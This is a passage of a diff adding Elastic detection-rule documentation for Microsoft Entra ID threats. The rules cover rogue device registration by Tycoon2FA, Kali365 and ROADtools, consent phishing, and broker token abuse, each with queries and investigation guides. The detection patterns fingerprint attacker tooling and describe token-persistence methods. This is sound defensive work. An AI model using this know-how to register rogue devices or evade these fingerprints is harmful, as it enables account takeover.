otherwise patched hosts, where a current Windows 10 22H2 device reports a far higher "10.0.19045." value. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/tycoon/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://any.run/malware-trends/kali365/ +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Threat: Tycoon2FA +* Threat: Kali365 +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device Registration with Phishing Kit Default OS Build* + + +AiTM phishing kits including Tycoon2FA and Kali365 register a device in Entra ID with a frozen default cloud device OS build of `10.0.19045.2006` and a default display name of `DESKTOP-`. This build is hardcoded by the tooling and differs from the OS version of legitimate, patched hosts (a current Windows 10 22H2 device reports a much higher `10.0.19045.` value), making the build a useful indicator of kit-driven device registration. Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access bypass, and persistent token-based access. + +The matching Entra ID audit event is an `Add device` operation initiated by the `Device Registration Service`, where the modified properties record the registered device characteristics: + +- `azure.auditlogs.properties.target_resources.0.modified_properties.3` (`CloudDeviceOSVersion`) = `10.0.19045.2006` +- `azure.auditlogs.properties.target_resources.0.modified_properties.4` (`CloudDisplayName`) = `DESKTOP-*` + + +*Possible investigation steps* + + +- Confirm the registering identity via `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and determine whether that user is expected to register a new device. +- Review `azure.auditlogs.identity` to confirm the `Device Registration Service` initiated the request, and use `azure.correlation_id` to pivot across the full registration flow (`Add device`, `Add registered users to device`, `Add registered owner to device`). +- Inspect the device name in `azure.auditlogs.properties.target_resources.0.display_name`; kit-registered names are commonly `DESKTOP-` followed by 6 alphanumeric (Tycoon2FA) or 6 hexadecimal (Kali365) characters. +- Inspect the registration user agent on the paired `Register device` event (`azure.auditlogs.properties.userAgent`), which is frequently a spoofed `Dsreg/10.0 (Windows 10.0.19045.2006)` string or a raw HTTP client such as `axios/*` or `python-requests/*`. +- Check whether the same user registered multiple devices in a short window (a single piece of kit infrastructure registering several devices is common for PRT persistence at scale). +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` and geolocation for the registration source. Flag unexpected IPs, hosting/VPS ASNs (for example Tencent or Alibaba), or impossible-travel relative to the user's normal activity. +- Pivot to `azure.signinlogs` for the same user and timeframe and look for follow-on sign-ins where the incoming token type is a `primaryRefreshToken`, for AiTM sign-ins immediately preceding the registration, or for the broker subsequently minting tokens for other resources such as Microsoft Graph. + + +*False positive analysis* + + +- Unmanaged or never-patched Windows 10 22H2 hosts may legitimately present the `10.0.19045.2006` build with a default `DESKTOP-` hostname. Validate against device inventory and known provisioning programs. +- Authorized security assessments that register devices with this OS profile will match. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID and revoke the user's refresh tokens and primary refresh tokens. Remove the device BEFORE revoking sessions, because device-bound PRTs survive `revokeSignInSessions`. +- Disable the account or reset credentials per policy and review for additional persistence (attacker-registered MFA methods, added owners, app registrations, or service principal credentials). +- Conduct historical analysis using `azure.correlation_id` and the registering user to determine scope of access. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Add device" and + azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value:*10.0.19045.2006* and + azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value:*DESKTOP-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-registration-with-roadtools-default-os-build.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-registration-with-roadtools-default-os-build.asciidoc new file mode 100644 index 0000000000..d1dbe7f8bb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-registration-with-roadtools-default-os-build.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-28-entra-id-device-registration-with-roadtools-default-os-build]] +=== Entra ID Device Registration with ROADtools Default OS Build + +Identifies a Microsoft Entra ID device registration where the recorded cloud device operating system build is "10.0.19041.928" and the device display name follows the default "DESKTOP-" pattern. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and it is uncommon for the OS build to match the hardcoded value across an environment of otherwise patched hosts. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved provisioning tooling and device naming conventions before relying on it. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/roadtools-cloud-attacks/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device Registration with ROADtools Default OS Build* + + +ROADtools (roadtx) registers a device in Entra ID with a default cloud device OS build of `10.0.19041.928` and a default +display name of `DESKTOP-<8 random characters>`. This OS build is the current default value roadtx uses and +differs from the OS version of legitimate hosts, making the build a useful indicator of ROADtools device registration. +Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access +bypass, and persistent token-based access. + +The matching Entra ID audit event is an `Add device` operation initiated by the `Device Registration Service`, where the +modified properties record the registered device characteristics: + +- `azure.auditlogs.properties.target_resources.0.modified_properties.3` (`CloudDeviceOSVersion`) = `10.0.19041.928` +- `azure.auditlogs.properties.target_resources.0.modified_properties.4` (`CloudDisplayName`) = `DESKTOP-*` + + +*Possible investigation steps* + + +- Confirm the registering identity via `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and determine +whether that user is expected to register a new device. +- Review `azure.auditlogs.identity` to confirm the `Device Registration Service` initiated the request, and use +`azure.correlation_id` to pivot across the full registration flow (`Add device`, `Add registered users to device`, +`Add registered owner to device`). +- Inspect the device name in `azure.auditlogs.properties.target_resources.0.display_name`; default `DESKTOP-` names that +do not match your naming convention are suspicious. +- Pivot to `azure.signinlogs` for the same user and timeframe and look for follow-on sign-ins where the incoming token +type is a `primaryRefreshToken`, or for risky/AiTM sign-ins immediately preceding the registration. +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` and geolocation for the registration source. Flag +unexpected IPs, hosting/VPS ASNs, or impossible-travel relative to the user's normal activity. +- Correlate with the user-agent-based device registration rules (e.g., `Dsreg/*`, `DeviceRegistrationClient`, +`Microsoft.OData.Client/*`) for the same user or correlation ID to strengthen attribution to ROADtools. + + +*False positive analysis* + + +- Unmanaged or imaged Windows 10 20H1 hosts may legitimately present the `10.0.19041.928` build with a default +`DESKTOP-` hostname. Validate against device inventory and known provisioning programs. +- Authorized security assessments using ROADtools will match. Document the engagement and add scoped exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the registered device from Entra ID and revoke the user's refresh tokens and primary +refresh tokens. +- Disable the account or reset credentials per policy and review for additional persistence (added owners, app +registrations, or service principal credentials). +- Conduct historical analysis using `azure.correlation_id` and the registering user to determine scope of access. +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and +require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.auditlogs" and event.action:"Add device" and + azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value:*10.0.19041.928* and + azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value:*DESKTOP-* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc new file mode 100644 index 0000000000..a99579ff67 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-device-with-roadtools-default-os-build-entity-analytics.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-28-entra-id-device-with-roadtools-default-os-build-entity-analytics]] +=== Entra ID Device with ROADtools Default OS Build (Entity Analytics) + +Identifies the first occurrence of a Microsoft Entra ID device, surfaced through the Entra ID Entity Analytics device inventory, whose host name follows the default "DESKTOP-" pattern and whose operating system build is `10.0.19041.928`. This combination is the default device profile that ROADtools (roadtx) uses when registering a device, and the OS build typically differs from the patched OS versions of legitimate hosts in the environment. Adversaries register rogue devices in Entra ID to acquire a Primary Refresh Token (PRT), establish persistence, and obtain trusted, programmatic access to the tenant. Because the OS build is a tool default, this is a high-fidelity but evadable indicator; baseline approved device builds and naming conventions before relying on it. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-entityanalytics_entra_id.device-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-6h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/roadtools-cloud-attacks/ +* https://github.com/dirkjanm/ROADtools +* https://dirkjanm.io/introducing-roadtools-token-exchange-roadtx/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Entity Analytics +* Use Case: Asset Visibility +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device with ROADtools Default OS Build (Entity Analytics)* + + +ROADtools (roadtx) registers a device in Entra ID with a default OS build of `10.0.19041.928` and a default name of +`DESKTOP-<8 random characters>`. This OS build is the current default value roadtx uses and differs from +the OS version of legitimate hosts, making the build a useful indicator of ROADtools device registration. This rule runs +against the Entra ID Entity Analytics device inventory and fires the first time a device matching this fingerprint +appears, so an alert generally represents a newly observed rogue device rather than a real-time registration event. +Rogue device registration is typically a precursor to Primary Refresh Token (PRT) acquisition, MFA/Conditional Access +bypass, and persistent token-based access. + + +*Possible investigation steps* + + +- Confirm the device identity via `host.name`, `host.os.version`, `entityanalytics_entra_id.device.display_name`, and +`entityanalytics_entra_id.device.id` (or `device.id`). Default `DESKTOP-` names that do not match your naming convention +are suspicious. +- Review `entityanalytics_entra_id.device.registration_date_time` and `entityanalytics_entra_id.device.trust_type` to +establish when and how the device was registered (e.g., Azure AD registered vs. joined). +- Identify the registered owner via `entityanalytics_entra_id.device.registered_owners.user_principal_name` and determine +whether that user is expected to register a new device. +- Check `entityanalytics_entra_id.device.is_managed` and `entityanalytics_entra_id.device.is_compliant`; ROADtools +devices are typically unmanaged and non-compliant. +- Pivot to `logs-azure.auditlogs-*` for the corresponding `Add device` event (initiated by the `Device Registration +Service`) and to `logs-azure.signinlogs-*` for sign-ins by the device owner where the incoming token type is a +`primaryRefreshToken`. +- Correlate with the companion audit-log rule "Entra ID Device Registration with ROADtools Default OS Build" +for the same device name to confirm registration-time activity. + + +*False positive analysis* + + +- Unmanaged or imaged Windows 10 20H1 hosts may legitimately report the `10.0.19041.928` build with a default +`DESKTOP-` host name. Validate against device inventory and patch baseline. +- Authorized security assessments using ROADtools will appear in inventory. Document the engagement and add scoped +exceptions. + + +*Response and remediation* + + +- If confirmed malicious, remove the device from Entra ID and revoke the owner's refresh tokens and primary refresh +tokens. +- Disable the account or reset credentials per policy and review for additional persistence (added owners, app +registrations, or service principal credentials). +- Tighten device registration and join controls via Conditional Access (restrict who can register/join devices and +require MFA for registration). + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"entityanalytics_entra_id.device" and + event.provider:"Microsoft Entra ID" and + host.name:DESKTOP-* and host.os.version:"10.0.19041.928" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Device Registration +** ID: T1098.005 +** Reference URL: https://attack.mitre.org/techniques/T1098/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-illicit-consent-grant-via-registered-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-illicit-consent-grant-via-registered-application.asciidoc new file mode 100644 index 0000000000..9b9bd534bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-illicit-consent-grant-via-registered-application.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-28-entra-id-illicit-consent-grant-via-registered-application]] +=== Entra ID Illicit Consent Grant via Registered Application + +Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access + +*Version*: 221 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Illicit Consent Grant via Registered Application* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These applications can access sensitive data—such as mail, profiles, or files—on behalf of the user once consent is granted. This is commonly delivered via spearphishing links that prompt users to approve permissions for seemingly legitimate applications. + +This rule identifies a new consent grant event based on Azure audit logs where a user or admin granted consent to an application. + +This rule uses ES|QL aggregation-based new terms logic with a 7-day history window. It extracts the AppId from the multi-valued additional_details array using MV_EXPAND and UUID regex filtering, then alerts when the user-application pair is first seen within the last 9 minutes. Alerts are suppressed by AppId and user principal name for 6 hours. Each distinct user-application pair therefore produces a single alert, preserving per-victim visibility: an application consented to by multiple users raises one alert per user, so the spread of a consent phishing campaign remains visible in the alert list. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.additional_details.value` to identify the AppId and User-Agent values to determine which application was granted access and how the request was initiated. Pivot on the AppId in the Azure portal under Enterprise Applications to investigate further. +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to identify the user who approved the application. Investigate their recent activity for signs of phishing, account compromise, or anomalous behavior during the timeframe of the consent. +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` to assess the geographic source of the consent action. Unexpected locations or IP ranges may indicate adversary-controlled infrastructure. +- Review `azure.auditlogs.properties.target_resources.display_name` to evaluate whether the application name is familiar, expected, or potentially spoofing a known service. +- Review `azure.auditlogs.properties.target_resources.modified_properties.display_name` to inspect key indicators of elevated privilege or risk, including: + - ConsentContext.IsAdminConsent to determine if the application was granted tenant-wide admin access. + - ConsentContext.OnBehalfOfAll to identify whether the app was granted permissions on behalf of all users in the tenant. + - ConsentAction.Permissions to evaluate the specific scopes and data access the application requested. Scope combinations such as `offline_access` with `Mail.ReadWrite`, `Files.ReadWrite.All`, or `Chat.Read` are characteristic of mailbox and file exfiltration. + - ConsentAction.Reason to determine whether Microsoft's own risk heuristics flagged the application. A value of `Risky application detected` means Microsoft scored the app as suspicious at the time consent was granted and should raise the priority of the review. Note this reason is only populated on admin-consent events, and its absence does not clear the application; a flagged app is also not necessarily malicious, since Microsoft's heuristic can flag legitimate apps. + - TargetId.ServicePrincipalNames to confirm the service principal associated with the granted permissions. +- Review `azure.tenant_id` to confirm the activity originated from your tenant and is not related to a cross-tenant application. +- Review `@timestamp` and `azure.auditlogs.properties.correlation_id` to pivot into related sign-in, token usage, or application activity for further context. + + +*False positive analysis* + + +- Some applications may request high-privilege scopes for legitimate purposes. Validate whether the application is verified, developed by Microsoft, or approved internally by your organization. +- Review publisher verification, app ownership, and scope alignment with the intended business use case. +- A `ConsentAction.Reason` of `Risky application detected` raises confidence that the consent is worth investigating, but Microsoft's risk heuristic is advisory and can flag legitimate applications (including internal line-of-business apps and newly registered tenant applications). Conversely, the absence of the flag does not make the consent benign, so weigh it alongside the requested scopes, admin-consent context, and the application's home tenant rather than in isolation. + + +*Response and remediation* + + +- Revoke the application’s OAuth grant using Graph API or PowerShell. Use the Remove-AzureADOAuth2PermissionGrant cmdlet. +- Remove the associated service principal from Azure AD. +- Reset credentials or revoke tokens for affected users. +- Block the application via Conditional Access or Defender for Cloud Apps policies. +- Enable the Admin Consent Workflow in Azure AD to prevent unsanctioned user approvals in the future. +- Report any malicious applications to Microsoft to protect other tenants. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.auditlogs-* metadata _id, _version, _index +| WHERE (azure.auditlogs.operation_name == "Consent to application" + OR event.action == "Consent to application") + AND event.outcome == "success" + +| MV_EXPAND azure.auditlogs.properties.additional_details.value +| WHERE azure.auditlogs.properties.additional_details.value + RLIKE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" +| RENAME azure.auditlogs.properties.additional_details.value AS Esql.app_id + +| STATS + Esql.timestamp_first_seen = MIN(@timestamp), + Esql.timestamp_last_seen = MAX(@timestamp), + Esql.app_display_name_values = VALUES(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.service_principal_id_values = VALUES(`azure.auditlogs.properties.target_resources.0.id`), + Esql.is_admin_consent_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`), + Esql.is_app_only_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value`), + Esql.on_behalf_of_all_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value`), + Esql.consent_context_tags_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value`), + Esql.consent_permissions_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value`), + Esql.consent_reason_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.5.new_value`), + Esql.user_id_values = VALUES(azure.auditlogs.properties.initiated_by.user.id), + Esql.ip_address_values = VALUES(azure.auditlogs.properties.initiated_by.user.ipAddress), + Esql.tenant_id_values = VALUES(azure.tenant_id), + Esql.correlation_id_values = VALUES(azure.auditlogs.properties.correlation_id), + Esql.event_count = COUNT(*) + BY azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.app_id + +| WHERE Esql.timestamp_first_seen >= NOW() - 9 minutes +| KEEP Esql.*, azure.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc new file mode 100644 index 0000000000..71d768f7d7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-28-entra-id-microsoft-authentication-broker-sign-in-to-unusual-resource]] +=== Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource + +Detects successful Microsoft Entra ID sign-ins where the client application is the Microsoft Authentication Broker (MAB) and the requested resource identifier is outside a short list of commonly observed first-party targets. Attackers abuse the broker in phishing and token broker flows to obtain tokens for unexpected APIs or enterprise applications. The exclusion list covers legacy Azure Active Directory, Microsoft Graph, Device Registration Service, Microsoft Intune Enrollment, extend or tune exclusions for your tenant after baselining broker traffic. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in +* https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs +* https://any.run/malware-trends/tycoon/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Microsoft Authentication Broker Sign-In to Unusual Resource* + + +Review `azure.signinlogs.properties.user_principal_name`, `azure.signinlogs.properties.resource_id`, +`azure.signinlogs.properties.resource_display_name`, `azure.signinlogs.properties.session_id`, `source.ip`, and +`user_agent.original`. + +Determine whether the resource is a known line-of-business application, partner integration, or Microsoft service not +represented in the rule exclusion list. + + +*Possible investigation steps* + + +- Resolve `resource_id` in Entra ID enterprise applications and compare with change records or app governance inventory. +- Correlate with `azure.signinlogs` and `azure.graphactivitylogs` for follow-on API calls from the same session. +- Review conditional access results and risk detections for the same user and time window. + + +*Response and remediation* + + +- If unauthorized, revoke refresh tokens for the user, review consent and app permissions, and reset credentials per policy. +- Escalate per incident procedures when the resource corresponds to sensitive APIs or high-privilege applications. + + +==== Setup + + +Microsoft Entra ID sign-in logs (`logs-azure.signinlogs-*`) must include `azure.signinlogs.properties.app_id` and +`azure.signinlogs.properties.resource_id`. Tune the exclusion list for first-party resource identifiers your tenant +expects from the Microsoft Authentication Broker. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:"azure.signinlogs" and event.category:"authentication" and event.action:"Sign-in activity" and +event.outcome:success and azure.signinlogs.properties.app_id:"29d9ed98-a469-4536-ade2-f981bc1d605e" and +azure.signinlogs.properties.resource_id:(* and not + ("00000002-0000-0000-c000-000000000000" or + "90a2e5d2-fd7a-4a2e-bc90-3dc50ae8e3ee" or + "01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9" or + "d4ebce55-015a-49b5-a083-c84d1797ae8c" or + "00000003-0000-0000-c000-000000000000" or + "0a5f63c0-b750-4f38-a71c-4fc0d58b89e2") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-multiple-device-registrations-by-a-single-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-multiple-device-registrations-by-a-single-user.asciidoc new file mode 100644 index 0000000000..a887c13c63 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-28/prebuilt-rule-8-19-28-entra-id-multiple-device-registrations-by-a-single-user.asciidoc @@ -0,0 +1,172 @@ +[[prebuilt-rule-8-19-28-entra-id-multiple-device-registrations-by-a-single-user]] +=== Entra ID Multiple Device Registrations by a Single User + +Detects multiple Microsoft Entra ID device registrations by a single user, where three or more distinct devices are registered within a 15-minute window. A legitimate user enrolling a device produces a single "Register device" event; registering multiple distinct devices in quick succession is uncommon and is the fingerprint behavior of adversary-in-the-middle (AiTM) phishing kits and stolen-token replay tooling (for example Kali365), which mint a new Azure AD-joined device, and therefore a new Primary Refresh Token (PRT), per relay or replay attempt. Each registered device is a separate certificate-bound principal whose PRT survives user-level session revocation and password resets, so multiple registrations on a single low-privilege identity establish device-bound persistence at scale. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://any.run/malware-trends/kali365/ +* https://www.huntress.com/blog/kali365-device-code-phishing-kit +* https://www.ic3.gov/PSA/2026/PSA260521 +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Multiple Device Registrations by a Single User* + + +A single Entra ID "Register device" event is routine: a user enrolling one device emits one registration. Concentrating three or more distinct device registrations onto one user inside a 15-minute window is uncommon for legitimate activity and is the fingerprint of either: + +- An AiTM phishing-kit relay session that, after capturing the victim's sign-in, registers one or more Azure AD-joined devices of its own from the kit infrastructure within minutes (observed cadence of roughly one device every 2-6 minutes, e.g. Kali365 registering five devices in ~12 minutes). +- Token-replay tooling driving multiple device joins in quick succession off a stolen refresh token or PRT. + +Each registered device is a separate principal with its own certificate-bound PRT. Because user-level controls (`revokeSignInSessions`, password reset) do not invalidate device-bound PRTs, every device left in place is an independent, persistent foothold. + + +*Possible investigation steps* + + +- Identify the user (`azure.auditlogs.properties.initiated_by.user.userPrincipalName`) and review the registered devices in `Esql.device_name_values`. Tool-driven joins frequently use default Windows-style names such as `DESKTOP-<6 alphanumeric>` and a homogeneous, hardcoded OS build. +- Inspect `Esql.user_agent_values` from the `Register device` events. A spoofed Windows device-registration client string (`Dsreg/10.0 (Windows )`) or a raw HTTP client 